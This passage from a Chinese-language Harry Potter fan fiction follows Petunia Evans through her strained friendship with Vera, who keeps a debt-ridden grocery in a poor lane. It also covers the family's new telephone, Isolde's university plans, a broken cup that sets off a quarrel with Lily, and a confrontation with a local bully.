门在她身后砰地一下关上,震起了室内细微的尘埃,佩妮感觉自己的鼻尖有一些发痒。
光线一下子暗下来了,杂货铺只有一扇小小的正方形窗户高悬于左侧的墙面上,但被人从外面用木条封死了,没法打开。微弱的光线从木条间隙穿进来,但显然无法照亮整个房间,一盏白炽灯悬挂于屋顶上,关门的声响使它轻微摇晃起来。
一鼓作气拉开门的勇气到这里就开始消退了。
屋里弥漫着一股煤尘混合着发酵黄豆的味道,佩妮看见内屋的墙壁呈现斑驳的霉点,墙角挂着蛛网,正对着门的壁炉上挂着一个老旧的钟表,滴答滴答地摇摆着,是这个杂货铺里除自己的心跳声外唯一的声音。
不大的屋内陈列着几张二手货架,东西数量并不多,但种类勉强还算齐全,黄油、南瓜、卷心菜在食品类的货架上摆放,旁边生活类的货架上摆放着洗衣粉、肥皂还有纸巾。
屋子的西北角落摆放了一个很小的木制柜台,薇拉就坐在柜台后面。她低头把玩着她的手指,目光好像落在手指上,又好像透过手指看着前面的柜台。
往前走,佩妮,那里坐的是薇拉,佩妮鼓起勇气对自己说。
她从货架之间穿过去,小心避免货架上没有擦尽的灰尘粘到自己身上。
“嘿,薇拉,我想要一本笔记本,你这里有吗?”佩妮走到柜台前,轻声问。
现在杂货铺里只有佩妮一个人,她的声音把薇拉吓了一跳,她明明睁着眼,却好像一个熟睡的人从梦里惊醒一样,忙不迭地瞪大了她的眼睛看着佩妮:“噢好的,你说你要什么?”
“我说我要一本笔记本,薇拉。”隔着柜台,佩妮看着被困在里面,坐在一个小木凳上的薇拉。
“原来是你啊,佩妮,好久不见。”薇拉从小凳子上站起来,举起她的手,眼神在木制柜台的表面扫视了一下,佩妮瞅了一眼这个台面,干净得很,什么都没有,连灰尘也没有。
“噢,你说你要一本笔记本,等一下,它没有摆出来,我想想,看看它在哪里。”薇拉弯下腰,去柜台下面翻找起来,木制柜台下传来重物拖地的声音。
“你说你要……噢,一个笔记本,我这里只有硬卡纸封面的,单行本,这个比较便宜,2便士,你需要吗?”薇拉站起来,呼出一口气,把一本棕色硬卡纸封面的薄薄的笔记本放到了柜台的桌面上。
“就是这个。”佩妮把两便士放在柜台上,接过笔记本,对薇拉笑起来:“谢谢你薇拉。”但她其实想要的是那种可以活页装订的本子,她需要修改小说的内容,活页装订的本子更方便。
薇拉把两枚硬币收进了柜台的抽屉里,她和佩妮隔着柜台站着。
木窗透进来的光线在柜台表面投上了一道菱形的斑片。这个柜台得有她的手臂和薇拉的手臂加起来那么长,佩妮心想。
室内一时陷入沉默之中。
“你还好吗?佩妮,学校生活怎么样?”薇拉先打破了沉默。
“还是那样,阿加莎女士每天站在门口就像老鹰一样盯着我们,总会有一些胆子大的人,戴上鲜艳的装饰然后被她抓到。”薇拉勾起了她的嘴角,扯起一抹勉强称得上笑容的神色。
“薇拉你看起来长高了。”佩妮前倾自己的身体,把手放在木制柜台的桌面上。
“你也长高了,大家应该都长高了,包括普尔佳,以前她可是我们当中最矮的那个。”薇拉站在柜台后面,一动也不动。
佩妮看着薇拉,她穿着一条灰色连衣裙。那条连衣裙看起来有一点长,宽大的腰围处被一条黑色的腰带系着,因此并不显累赘,那条苏格兰头巾被当作挽巾系在薇拉的左手上,成为点缀在她身上的唯一色彩,只是它也褪了一些颜色,还有一些地方露出了点毛边。
“那条苏格兰头巾。”佩妮忍不住说。
薇拉顿了一下,看了一眼自己左手上的那条围巾,说:“哦对,你还记得它,那个夏天,爸爸买给我的。”
佩妮咬住了自己的嘴唇:“你的裙子也不错。”但是这话一说出来,佩妮就后悔了,她觉得自己真是笨拙得厉害。
一股古怪的神色从薇拉的脸上滑过,这神色使她的苍白的脸色一瞬间染上愤怒的红晕,但这红晕转瞬即逝,她对佩妮扯出一个平淡的微笑:“这是我拿妈妈的旧裙子改的,改成了适合我的尺寸,只是腰围实在太大了,我加了一个腰带,是不是很厉害?”
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佩妮低下头,点了点她的头。
“你妈妈呢?”佩妮环顾了一下四周,杂货铺只有她和薇拉。
“妈妈白天的时候还需要上班,杂货铺就是我在看。”
“你弟弟呢?”
“妈妈把他送去了姨妈家,他还在上学呢,她得保证不能让别人找到他。等到我们还完了债,就可以团聚了。”
门被推开的声音拯救了陷入沉默中的佩妮,一个男人推开门进来,光线从他背后洒落,看装束是附近的工人,他左手点着一根烟,冲着薇拉大喊:“给我拿瓶啤酒,记在账上。”
“你要不随便看看?”薇拉转身打开身后木柜的门,从里面拿出一瓶啤酒,然后翻开柜台的木板,从下面钻了出来,递给了男人,她经过佩妮的时候,对佩妮轻声说。
“噢,不用了,我得走了。”佩妮仿佛惊醒一般对薇拉说,“我一会儿还有事,我先回去了。”
薇拉重新钻回那个小小的柜台,坐在木凳子上,重又看起她的手指甲:“下次不要自己一个人来了,这里是炉灰巷,你想要买什么东西的话,就去科克沃斯中心的那个集市去买。”
佩妮抱着那本棕色的笔记本:“你的杂货铺就在炉灰巷的入口,而且炉灰巷早就被戈斯警官带领改造过了。”
薇拉抬头看着佩妮,这是薇拉第一次主动抬眼看着她:“总之,这里还是炉灰巷,下次不要来了。”
晚上佩妮打开自己的笔记本,她的小说已经写到布伦南小姐需要去拜访一名伟大的剑术家精进她的剑术,但是她被一条湍急的河流挡住了。
佩妮下笔。
“这条河水流湍急,正值汛期,布伦南小姐被它拦住了。”
“看着嚣张奔腾的河水,一股无名的怒火从布伦南小姐从她的心底里涌上来。”
““每年雨季,你都要吞食多少无辜的羔羊?”布伦南小姐质问着河水,“你为什么要吞噬她们,你究竟要把她们带到哪里去?””
“布伦南小姐抚摸上她的佩剑,冰冷的剑柄使她冷静下来,她抬眼望着远方的树林。“我要过去,我一定会过去的,你等着瞧吧河水。”布伦南小姐盯着河流冷笑出来。”
“接下来她要寻找过河的办法了。”
36.chapter35
在暑假的一个白天,一名穿着邮政局服装的工人敲开了家里的门,说是伊万斯先生预约的上门来安装固定电话。
在大家惊讶的目光中,工人走进来,在客厅的地板上掏出了一个暗红色厚重的固定电话。
她的颜色真漂亮,佩妮在心中想,还带着光泽。
“装这里。”爸爸脸上带着一抹计谋得逞的微笑,指引着工人来到一楼餐桌旁边的墙上,“事实上我半年前就已经向邮政总局申请了固定电话。”爸爸有一些骄傲地说。
“这是给你们的惊喜。”爸爸升职了,现在他在铁路局负责管理一个小的团队,他拿升职的奖金订购了这台固定电话。
这可是一件了不得的事情,伊万斯家成为了这片小区第一个安装固定电话的家庭,佩妮和妈妈再也不需要排队等社区的那个公共电话喊爸爸回家吃饭了。
那名工人半天就把电话装好了,那台暗红色电话装在白色墙壁上,就像一颗红宝石一样。
“你们在家里等一下。”爸爸骑上单车走了。
一声清脆的电话铃声打破了家里安静的氛围。
妈妈把听筒拿下来,她和佩妮莉莉三个人的脑袋齐齐围在话筒边。
“喂,你好,这里是约翰·伊万斯,我找玛格丽特·伊万斯。”爸爸的电话从话筒里传来,听起来既清晰又梦幻。
“咳,我是玛格丽特·伊万斯。”妈妈把话筒放在了自己的耳朵上,她听了一会儿脸红起来,把话筒递给佩妮:“佩妮,找你的。”
佩妮把话筒拿起来,顺手把莉莉凑过来的小脑袋拨开,她捂住话筒瞪了一眼莉莉:“还没有轮到你呢,莉莉,不准偷听。”莉莉在一旁撅起了嘴,妈妈咯咯笑了起来。
佩妮把话筒放到了自己的耳边:“喂,我是佩妮·伊万斯。”
“喂,佩妮,我是爸爸,我爱你。”
“我也爱你,爸爸。”佩妮把嘴巴凑到话筒边,小声说。
“接下来我找莉莉·伊万斯。”
佩妮把电话递给莉莉,莉莉欢呼了一声,把话筒接过来,牢牢地贴紧了自己的耳朵:“爸爸,我是莉莉。”
莉莉把听筒挂回了电话上,由衷地发出感慨:“电话真是一个好东西,为什么霍格沃茨不能装上电话呢,我还是只能用塞勒涅给你们送信。”
被放出来放风的塞勒涅在二楼的栏杆上梳理它的羽毛,听见这句话,它发出一声清脆的鸣叫。
“她是个好姑娘,这是她的好活计,别把她的活抢走了。”妈妈从厨房里端出早上和佩妮一起做的牛奶布丁。
“你们那儿连电视都没有呢。”佩妮生出一丝难以言喻的自豪感:“你们学校没有电是不是?”
莉莉思索了一下:“是的,霍格沃茨没有电,维持霍格沃茨运转的是魔法。”
——也许我们这个世界的”魔法“,其实就是电吧,佩妮想起伊索尔德给自己写的信,她觉得伊索尔德说的真不错。
对,伊索尔德家也有一台固定电话,她要告诉伊索尔德这个好消息。
佩妮将安装工人带过来的那一串号码誊抄在纸上,核对了两三遍后,冲出了家门,走到门口,她想了想,又冲回了自己的房间,拉开抽屉拿出了那本记录了布伦南小姐事件的笔记本,重新冲了出去。
佩妮和伊索尔德一起坐在紫藤路17号的书桌旁,微风从窗外吹进来,唤醒室内的风铃,阳光透过树叶洒进来,在桌子上按下金色的图章,桌子上放着两罐埃莉诺给她们准备的冰镇柠檬汽水。
草又长高了,一年一度割草机狩猎的声音又从楼下响起。
“你可以从巴黎回来给我打电话。”佩妮说。伊索尔德告诉她过一段时间她要去一趟巴黎,因为埃莉诺需要去巴黎汇见一位老朋友,伊索尔德决定跟她去法国,顺便见识几位有名的学者。
“我会给你打电话的佩妮。”伊索尔德把那张写了电话号码的纸条妥帖地收进了自己的口袋,“我也会从巴黎给你寄明信片回来。”
“我写了一本新的小说。”佩妮把那本小说递给了伊索尔德。
“你真的太棒了,佩妮。”伊索尔德接过去,要翻起来。
“哦不,伊索尔德,你不要现在看,等你去巴黎的路上再看。”佩妮按住了伊索尔德的手。
“这是个好主意。”伊索尔德笑起来。
“你还记得那本冬日烈火吗?”
“那本很精彩的小说,布伦南小姐还有费特南先生。”
“在这本小说的最后,布伦南小姐拥有了她想要的一切,不需要再拔出她的宝剑了。”佩妮说,“但是我重写了一个结局,布伦南小姐重新拔出了她的宝剑。”
“佩妮,我可能会更喜欢你这个结局。”伊索尔德认真地抚摸着佩妮给她的那本笔记本。
“我也看了些你这儿的书,这些书现在愿意跟我说话了,虽然还是朦朦胧胧的。”佩妮心下长舒一口气,她站起来,盯着那个超大的书架,阳光给它镀了一层暖色,使它看起来没有那么高不可攀,佩妮突然抬手指着一本书:“那本书!我之前在图书馆看到过插画的版本,但是有些故事我无法理解。”
“噢,古希腊神话,哲学和心理学的启蒙读物。”伊索尔德踮起脚从书架的第三层把它拿下来,“很有意思的故事,里面讲述的是命运。”
伊索尔德随手翻开那本书,佩妮凑过去看,翻开的那一页画着一名生着翅膀飞向太阳的青年。
“是伊卡洛斯的故事。代达罗斯警告伊卡洛斯,你绝不可向天上飞去,太过于靠近太阳会使你毁灭。”伊索尔德说。
“但伊卡洛斯没有听,”佩妮接着伊索尔德话,“他飞到天上就忘记了父亲的教诲,太阳融化了他羽毛上的蜡,最终他坠落到了海洋里。”
“你可以把它理解成一个关于野心、警告、以及不听从指导的警示。你可以说伊卡洛斯的坠落都归咎于他自己,因为他渴望自由和超越限制同时又过分自信,不顾警告和内在限制,最终导致失败。”
“可是,伊索尔德,有没有可能,我是说,伊卡洛斯在迷宫里困太久了呢?太阳是他出来后唯一可见到的光芒,他太想靠近它了。”
伊索尔德笑起来:“古希腊神话的魅力就在于,你怎么解读都可以,佩妮,你这样的说法也不是不行。”
佩妮脸红了起来,她觉得自己的解释还是听起来太过于幼稚了一些。
这
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时埃莉诺上来了:“伊索尔德,你的成绩单。”一个白信封上用非常正式的烫金字体标着伊索尔德姓名,然后用红色的蜡封住了信封口。
“你们成绩单都这么正式吗,伊索尔德?”佩妮有些好奇。
“这是我的GSE O level成绩单”伊索尔德拆开了这封信,拿出了里面的纸,“我看看,还不错,我可以继续去读A level了。”
“那是什么?”这些名词佩妮根本就没有听过。
“中等教育普通证书,”伊索尔德举起那张信纸,“证明我可以继续上A level的课程,这是进入大学前的预备课程,我准备申请约克大学的心理学系,未来我一定要当一名心理学家。”伊索尔德说这些的时候,声音还是很温柔,但是语气里有一种说不出来的坚定,灿烂的阳光落在她的身后,也仅能成为她的背景板。
啊,她早说过她要上大学,佩妮想起来了,伊索尔德一定能渡过那条河。
“就像你妈妈那样的心理学家。”佩妮说。
“对。”
“大学是什么样的?”佩妮问。
“对我来说,那是追求知识,以及让任何人都能自由做自己的殿堂。”伊索尔德沉思了一下说。
在为自己的朋友感到敬佩之余,一股无端端的失落又像羽毛一样滑落至佩妮的心上,但是她不明白自己在失落什么。
“你未来想做什么呢?佩妮。”
佩妮愣了一下:“我大概率会离开科克沃斯,妈妈有一个朋友在伦敦,我会去找她,然后去伦敦找一份工作,看看科克沃斯外面的生活。我会攒到一笔钱,然后去那个,你说的约克大学,去看你。”
“我会在约克大学等着你。”伊索尔德说。
“你会出现在报纸上和电视上吗?”
“比起出现在报纸上和电视上,我更愿意出现在讲台上。”
她们对视一眼,笑了起来。
“嗯,佩妮,”伊索尔德那双水蓝色的眼睛盯住了佩妮,“据我所知,现代中学最后一年会有一场考试,叫CSE,如果你能在CSE上拿一等的成绩。”
“伊索尔德,大学离我们太远了。”佩妮摇了摇头,“它不在我的、科克沃斯的这些女孩子、还有爸爸妈妈的计划范围内。”
“我的意思是,为什么不继续试试写作呢?”
“我不太行,这些都是写着玩的,它们甚至连十章都没有。”
“你喜欢写作吗佩妮?”
“它有一点难,刚开始写的时候我是很快乐,但是写着写着,我就不知道写些什么了。”佩妮有些没有办法直视伊索尔德的眼睛了。
“但是你给了你笔下的人物另外一场人生。”伊索尔德看着佩妮,“只是试试佩妮,谁知道命运会把我们引到哪个方向上呢?”
“小姐们,保护眼睛的时间到了,一会儿你们想去体验飞行吗?”埃莉诺上来打断了她们,佩妮往楼下一看,那台飞马已经悄然停在了楼下。
佩妮回望着伊索尔德,兴奋在两个人的眼睛里闪烁。
“我还可以再坐前面和你一起加速吗?”佩妮问埃莉诺。
“只要你愿意。”埃莉诺说。
37.chapter36
莉莉坐在沙发上,她的膝盖上摊着一本厚厚的书,手上拿着一个茶杯,电视机里飘荡出歌声。她一边看着手上的书,一边盯着手里的茶杯。
佩妮坐过去,劈手把茶杯抢过来:“你为什么拿着我的杯子?”她看见莉莉摊开的那本书上写着“窥视迷雾:初阶占卜学——第七章:茶叶占卜初探及具体图形解析”。
“你在搞些什么?”佩妮低头往自己杯子里瞧,杯底就是一点红茶渣,她忍不住翻了个白眼,要把杯子拿去厨房倒了。
“别倒别倒。”莉莉扑过来抱住了佩妮的手,红色的头发蹭到佩妮的脖颈处,让她觉得有些痒。莉莉抬起头,可怜巴巴地说:“我在给你占卜呢,佩妮,很灵的。求你了,把它给我,我快看出形状出来了。”
莉莉紧紧贴着她,温度源源不断地从手臂上传来,那双湖绿色的眼睛就这样眨巴着盯着佩妮。佩妮只是稍稍松懈下来,杯子就一下就被莉莉拿走了,她只好说:“你不能把我的杯子给摔了,那是我一直用到现在的。”
“肯定不会的。”莉莉把杯子拿回去,放在眼前转动,“这可是佩妮的杯子。你觉得这个茶渣像什么?一只狗还是一只猫?”端详了一会儿,她又把杯底举到了佩妮的眼前。
佩妮不动声色地把自己的身体往后靠了靠:“这又是什么魔法的小把戏?”
“这是我今年新选的一门课,占卜学。虽然麦格教授说,占卜是最不精确的魔法,但是玛丽她们都选了,她们认为能在茶叶的形状里看见自己未来真命天子的模样,我也只好陪她们选了。现在好了,它成为我拿全O路上的另外一个阻力了。”
“那她们看到自己真命天子的模样了吗?”
莉莉摇了摇头:“艾丽卡那天晚上占卜到最后,说她在茶杯里看见了麦格教授,但是我们第二天可没有变形课。结果她第二天因为熬夜迟到了,并且在走廊上和同样迟到的斯莱特林的安德鲁吵了起来,被麦格教授瞧见了,罚去做义务劳动了。”
“就某些情况而言,它也挺准的,所以关于我的命运,你到底看出了什么?”
“佩妮,你以后会过上幸福美满的生活,”莉莉比对着书上的图案说,煞有其事地说,“嗯,你会养一只狗。噢,也有可能是一只猫。”
佩妮对莉莉的前半句话表示满意,她勾了勾嘴角,至于后半句话——她以后既不会养狗,也不会养猫,她想,她一点都不想清理它们掉在地毯和沙发上的毛发,狗还会叫,若是深更半夜地叫,把邻居都吵醒了怎么办。
“等你玩够了就请你把我的杯子拿去厨房清理干净,把茶渣倒了,杯子洗干净,一点红茶的痕迹都不要给我留下来,等它干了就很难洗干净了,明白吗?”佩妮大声警告莉莉。
莉莉一边看着书,一边点头,佩妮非常怀疑她有没有把自己的话听进心里去。
“还有,不要把我的杯子给摔了。”佩妮再次警告。
第二天早上,佩妮煮好红茶后,从餐橱柜里拿出大家的杯具,看见了自己洗刷得亮白如新的杯子,于是她就只好任由莉莉拿着她的杯子翻过来倒过去地看了。
真不知道有什么好看的。
“你为什么不去找你蜘蛛尾巷的那个朋友一起研究?说不定他能看出些什么呢”佩妮在出门前,看见莉莉又在沙发上研究那个杯子,忍不住说。
“西弗勒思还没回来,他有一些朋友要见。”莉莉没有抬头,但是佩妮敏锐地查见了她话语中的一丝冷淡。
“怎么,你的朋友有了新朋友,你不应该为他感到开心吗?”
莉莉咬住了自己的嘴唇,她从沙发上抬起头来:“我不应该干预朋友的决策,但是他的那些朋友,有一些……嗯,危险。”
佩妮立刻警觉地转过了身,看着莉莉:“是社会上的朋友吗?”
“哦不是,是学校里的,是他那个学院的朋友。”莉莉急忙解释。
佩妮松了一口气,但她马上又绷起了她的声音:“他们会欺负你吗?”
莉莉愣了一下,她只是稍微沉思了片刻,就在沙发上露出一个璀璨的微笑。火红的头发像有生命一样,在沙发上划出一道鲜艳的弧度:“我不会让任何人欺负我的,我也会尽力保护我的朋友不被欺负的。”
佩妮挑了挑眉,推开门的时候,她想到了什么,转身问莉莉:“那天在车站的那两个男生,西里斯·布莱克,还有詹姆·波特,他们是哪个学院的?他们会欺负你吗?”
莉莉先是皱起了鼻子,仿佛想到了一些不是很令人愉快的记忆,但是脸上随后又泛起一抹不正常的红晕,她说:“他们跟我是一个学院的,他们也是格兰芬多,佩妮,他们没有欺负我。”
佩妮点点头,推开门出去了。
她能感觉到莉莉还有很多话没有告诉她。但是石墙,都是因为那堵石墙,莉莉和那些男孩可以轻松地穿过去,对于佩妮而言——她已经伸出她的手指感受过了,那就是一堵普通的,粗糙的,冰冷的石墙,这个石墙把她和里面的世界隔开了。
那些是石墙里面的故事了,佩妮拿着书走在街上,今天是个好天气,昨夜刚下了雨,地面有一些潮湿,但是太阳出来了,马上就会晒干这些雨痕,道路上有几个漫步的行人,遇见熟悉的面孔,佩妮微笑着跟他们打招呼。
这个镇上的生活,才是佩妮的世界。
佩妮走到炉灰巷前,心里有一丝忐忑。
在暑假结束前,佩妮找了一个机会告诉了普尔佳关于薇拉的近况。
普尔佳上学的时间越来越少了,她只在一些烹饪课、缝纫课的时候出现,像往常一样坐在佩妮的后面。
在一节烹饪课堂上,她们学习烤火鸡,普尔佳请求佩妮和她一组。佩妮告诉了她薇拉在炉灰巷开了一间杂货铺,普尔佳没有抬头,她负责给火鸡刷蜂蜜,一层又一层,每层刷得很薄,很透亮,她的神情看起来又虔诚又认真,她说:“有空我会去看薇拉的。”
其他的课堂上,普尔佳的桌子也空荡荡的。
佩妮在内心深处感受到了一种虚弱的匮乏,不是空虚,是一种匮乏。
有人从她这儿偷走了什么,但是一股愤怒的感觉随之涌上来,因为她不知道自己被偷走的是什么,而且她甚至不知道小偷是谁。
现在她手上拿着那本讲述了服装设计师伊丽莎白故事的书,推开了薇拉杂货铺的门。
第一次在薇拉这里购买了笔记本后,佩妮总还是会找一些时机过来,在薇拉的杂货铺买一些其他的物品。虽然来的次数并不多,但偶尔也会撞到本·肖恩,这个时候佩妮会选择离开,等下次再过来。
大部分时候都是薇拉在杂货铺里,她一直待在那个小小的木制柜台后,佩妮每次推开门进来,薇拉都在把玩她的手指,空气里总是挥之不去的发酵的黄豆味,木窗框投下来的光线里,可以看见飞舞的尘埃。
佩妮站在木制柜台这边,把硬币交给薇拉的时候,会跟薇拉说几句她在学校的生活,她和普尔佳的烹饪课,以及烘焙坊的新产品,成衣店的裙子,还有电视台新出的节目,是薇拉以前喜欢看的频道。
薇拉有时候会笑一下,但是大多数的时候没有什么表情,收下了佩妮的硬币后,便坐回到木制柜台后的凳子上。
“平时客人多吗?”佩妮问。
薇拉耸了耸肩,宽大的领口露出一小节她的锁骨:“还行。”
“没有客人的时候你都在做些什么呢?”
“等待。”薇拉顿了顿,补充道,“等待下一位客人推门进来。”
门推开的光线惊动了木制柜台那一块的阴影,一个人影慢吞吞地从后面站起来:“欢迎光临。”语调被拉长但没什么激情。
佩妮拿着那本书穿过货架走过去,她的心怦怦跳起来。
“嗨,薇拉。”佩妮站在木制柜台前。
“今天想要什么,佩妮。”薇拉说。
佩妮把那本书放在木制柜台上,推到薇拉的面前:“今天我不买东西,今天我给你带了一本书,这本书讲了一个叫做伊丽莎白的设计师,进军纽约服装设计界的故事。这本书很好读,没有复杂的单词,一点也不难,故事情节很吸引人。薇拉,我觉得它很适合你,在没有客人的时候,你可以看看这本书,用她来打发时间。”
佩妮一口气把这段话说出来,不给自己反悔的机会,她微微把自己的身体前倾,隔着柜台,期待地看着薇拉。
光线从薇拉头上的木窗框投下来,正好落在薇拉的脸上,使她的脸被照亮了一半。
薇拉眯着眼,视线在那本书的封面上转动了一下,她拿起了那本书,翻到了背面,借着光线看见了这本书的简介。
佩妮的心随着期待的感觉飘起来。
“我说,”薇拉松手,那本书啪地一下掉在了木制柜台上,发出好大一声响,砸在了佩妮的心上,“拿着你的书,从我的铺子里滚出去。”
佩妮的笑容僵在脸上,她感觉自己幻听了,她呆滞地站在木制柜台的这一侧,茫然地问:“你说什么薇拉?”
“我说。”薇拉好像哽咽了一下,但是声音太轻了,她往后退了一步,避开了此刻投射在她脸上的光线。
“拿着你的书,从我的铺子里滚出去。”
好像被什么东西抓住了,佩妮一动也不能动,麻木的感觉从双脚一直蔓延到手指尖,她只能无措地盯着薇拉。
“请你不要再来施舍我,可怜我了。”薇拉的身影从阴影里冲出来,白光照在她的脸上,使她的脸色看起来非常惨白。
“我一点儿也不可怜。”薇拉瞪着她的眼睛盯着佩妮,一个字一个字地用力说。
“我早就跟你们不是一个世界的人了,佩妮,这里是炉灰巷。”
“我不需要读书,不需要看书,我也根本不喜欢看书。”薇拉把她的身体前倾过来,她离佩
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妮更近了,两只胳膊拍在了柜台上面,发出一声响,手臂因为用力而颤抖着。
佩妮盯着她的眼睛,不知道是谁的眼睛里先浮起了雾气,使周围的景象都带上了一片朦胧。
“一颗纽约服装设计界冉冉升起的新星?”薇拉低下头,她把柜台上的那本书背面的内容一个字一个字念出来,然后大声嘲讽,“我对这些事情一点兴趣都没有。佩妮,你总是那么自以为是。”她的声音因为歇斯底里而带上了颤音。
“你不要再说什么学校了,我早就不记得那些事情了,单车已经卖了,我不喜欢上学,我不喜欢新裙子,我也不喜欢你。”薇拉把自己的声音绷得紧紧的。
水汽在两个人的眼中氤氲,但是她们都在竭力克制不让其聚成水珠落下。
挺起你的胸膛来,佩妮,她对自己说。
“我早就已经忘记那些事情了。”薇拉吞咽了一下,说,“我只想活着,佩妮,把家里欠的钱还干净,然后……”
“现在我待在这里挺好的,这里光线不会刺眼,没有什么人,不会有人对我指指点点。“薇拉连珠炮似地一句接一句,她再度从柜台后面探出她的身体靠近佩妮,现在两个人之间的距离咫尺可闻。
“但是你为什么要出现呢,为什么要送这本书给我呢?为什么要让我想起以前的那些事情呢?”薇拉先没有忍住,大颗的眼泪从她的眼睛里夺眶而出:“我讨厌你佩妮,讨厌你用那种眼神看着我。”
“你什么也做不了。”她的声音轻下来,不知道是谁的眼泪滴在佩妮的手上,直直烫进了她的心里。
“这些事情和你有什么关系呢?”
“我和普尔佳的事情根本没有发生在你的身上。”
“你就现在,带着这本书,转头离开我的杂货铺,离开炉灰巷,回到你自己家,过好你的暑假,回去好好上学就好了。”
“我们只是普通朋友而已,佩妮。”
“离开炉灰巷,现在,立刻。”
佩妮抱着她的书走在路上,好像有一把剑穿透了她的胸膛,使她的胸膛火辣辣地疼痛起来。
她抬起自己的衣袖,狠狠地擦了一把脸,既感到委屈,又感到愤怒。
黑色的河水无处不在,要把大家都吞噬干净了。
佩妮抬头看了一眼天色,太阳还明晃晃地挂在天上,只是抬头这么直视一下太阳,新的泪水又要从眼睛里流出来了。这样可不行,太狼狈了,大街上会碰到熟人的,佩妮心想,得赶紧回家,不能让别人看见。
她抱着书越走越快,最后一路小跑着冲回了家。
不能让他们看见。
佩妮砰地一下打开门,要往楼上的房间冲去,但事与愿违,急匆匆的她与正巧过来的莉莉撞了一个满怀。
在莉莉的惊呼声中,手上的杯子脱手而出,砸在了玄关处的地板上,一声清脆的声音后,碎成了好几瓣,里面的红茶渣落在地板上,把妈妈早上拖过的地板弄脏了。
“佩妮,”莉莉抓住佩妮的手,“对不起,你有没有事。”佩妮偏着脸没有去看她。
看见地板上碎掉的杯子,莉莉惊慌起来:“对不起,佩妮,我错了。”
爸爸妈妈听见声音赶了过来。
这下大家都看清楚了佩妮的神色。
只是一个杯子而已。但是泪珠还是不断地从佩妮的脸上滑落,砸在地板上溅成一朵朵小花。
莉莉很紧张地说:“佩妮,你不要难过,我把我的杯子赔给你,你喜欢什么样的杯子,我可以去对角巷给你买其他更好的杯子。”
爸爸说:“噢,只是杯子碎了而已,哎呀,这是佩妮的杯子,爸爸再给你买一个。”
妈妈过来想抱住佩妮:“没有踩到碎片就很好了,只是一个杯子而已。”
佩妮后退一步离开妈妈的怀抱,她转过脸,盯着莉莉,在他们的目光中,她很艰难地止住自己的泪水,很小声地哀求:“莉莉,你不是会魔法吗?你是一个小女巫,可不可以掏出你的魔杖,把它修好。”
“就像在国王十字车站那次,像修墨水瓶一样,把它修好。”
只是一个杯子而已。
莉莉愣在了原地,她有些伤心地对佩妮说:“对不起,佩妮,未成年巫师在校外是没有办法使用魔法的。”
佩妮低下头,狠狠吸了一下自己的鼻子,爸爸妈妈都没有说话,空气变得十分的安静。
佩妮抬起头,凝视莉莉的眼睛。在那双美丽的湖绿色眼珠里,佩妮将自己狼狈的模样看得一清二楚。
乱糟糟的金发,红肿的眼睛。
她盯着莉莉的眼睛,深吸一口气,一字一句地说:“我、讨、厌、你。”
随后她也不理莉莉的反应,在爸爸妈妈不悦的呵斥和惊呼声中,不管不顾地冲上了二楼,把自己锁进了房屋。
瞧瞧你干的好事,佩妮在心里说。
我讨厌你。
38.chapter37
佩妮打开自己的房间门,屋子里静悄悄的,爸爸妈妈好像出门了。视线一转,莉莉的房门关得紧紧的,她仿佛也不在里面。
佩妮蹑手蹑脚地下了楼,她没有吃晚饭,也没有吃今天的早饭,肚子饿得咕咕叫,但桌子上什么也没有,这或许是爸爸妈妈对于她昨天乱发脾气,并且没有跟莉莉道歉的惩罚。
佩妮打开了冰箱,冰箱里有一杯牛奶,还有一块蜂蜜蛋糕,她把它们端出来吃了。
盥洗室里妈妈插上了新的红色玫瑰花,玻璃瓶里添上了水,整个屋子飘着淡淡的玫瑰香,塞勒涅在架子上抬头看了她一眼,又把自己的脑袋埋进了翅膀里。
对着镜子,佩妮把自己梳洗干净,她深吸了一口气,洗手池上落了一片玫瑰花的花瓣,佩妮把那朵花瓣收进了自己的口袋里。
她又转出了门。
等意识回笼的时候,炉灰巷入口处那间逼仄矮小的杂货铺就出现在了佩妮的面前。
你出现在这里干什么?
薇拉已经说了讨厌你,不想你再出现了。
佩妮顿住了自己的脚步。
一阵车铃铛的声音传过来,佩妮转头,是本·肖恩带着他的单车队过来了。佩妮没有动,她站在原地,看见本·肖恩带着他那群朋友,在离她不远处的树下停了下来,把他们的单车按排放在了树下。
本·肖恩脸上带着笑容,招呼他的朋友们往薇拉的杂货铺走。他看到了佩妮,露出一抹恶意的微笑,在不远处冲佩妮挥起了他的手:“嘿,你好啊长颈鹿。”
他身后的人群爆发处一阵恶劣的笑声。
本·肖恩看也没看佩妮的反应,有说有笑地招呼着他的朋友们朝杂货铺前进。
佩妮的胸口剧烈地起伏了一下,科克沃斯近来都没有下雨,太阳有一点大,只是站了一会儿,就可以感觉到汗水顺着后背滑落了下去。
贴身的那件衣服肯定汗湿了,早知道不穿两件了,佩妮抬起手来,将有点濡湿的刘海拨到一旁,然后大步走了上去。
“离薇拉的杂货铺远一点,你这个无耻的混蛋,还有,不要再叫我长颈鹿了。”
佩妮大声喊了出来。
本·肖恩和他的朋友们停了下来,纷纷转过身,盯着佩妮。
街上一下就安静下来,连一根针掉落在地上都可以听见。
人群站成了一面墙,一二三四五,有五个人,本·肖恩就站在最中央,他们逐步向佩妮逼近。
“你在说什么呢,长颈鹿。”本·肖恩说。本·肖恩可真高,他比佩妮高了起码两个头,皮肤黝黑,帮他父亲处理废旧钢材的粗壮手臂在衣服下鼓起吓人的弧度,他后面的同伴们穿着的工服上是斑斑点点的机油的痕迹。
你不应该冲上去的,佩妮,他们有五个人,你只有一个人。
“我说,”佩妮大声说,她竭力控制自己的声音不发抖:“离薇拉的杂货铺远一点,你这样做永远也拿不到属于你们爸爸的工资。还有,不要叫我长颈鹿。”
“你有什么资格来管这些事呢?”本·肖恩不笑了,他的眼睛里闪烁着不怀好意的光。
黑色的河水在咆哮、翻腾,害怕到极致,一股莫名的怒火从佩妮的心底里涌了上来。
别想把我,把她们都吞噬进去,佩妮在心底里大喊。
佩妮一步也不肯退让,她紧紧盯着本·肖恩的眼睛:“错的就是错的,我会告诉戈斯警长,让他好好关照关照你们的。”
那群人现在离佩妮很近了,他们把佩妮差不多团团围了起来,一股机油混合着烟草的臭味席进了佩妮的鼻子里。
别发抖,快看看有什么趁手的工具,佩妮在心底里大叫,他们已经捏紧了拳头。
一颗石头从佩妮身后破空飞来,带着极大的力道击中了本·肖恩的头,在人群中打开了一道裂隙。
“离我的姐姐远一点,你们这帮混蛋。”那是莉莉清脆的声音。
佩妮转过头去,莉莉从远处跑过来,脸上带着气愤至极的表情,她火红色的头发在阳光下就像火焰一样炽烈,身后跟着的是一脸不赞同又不得不跟着她跑过来,想要拉住她的斯内普。
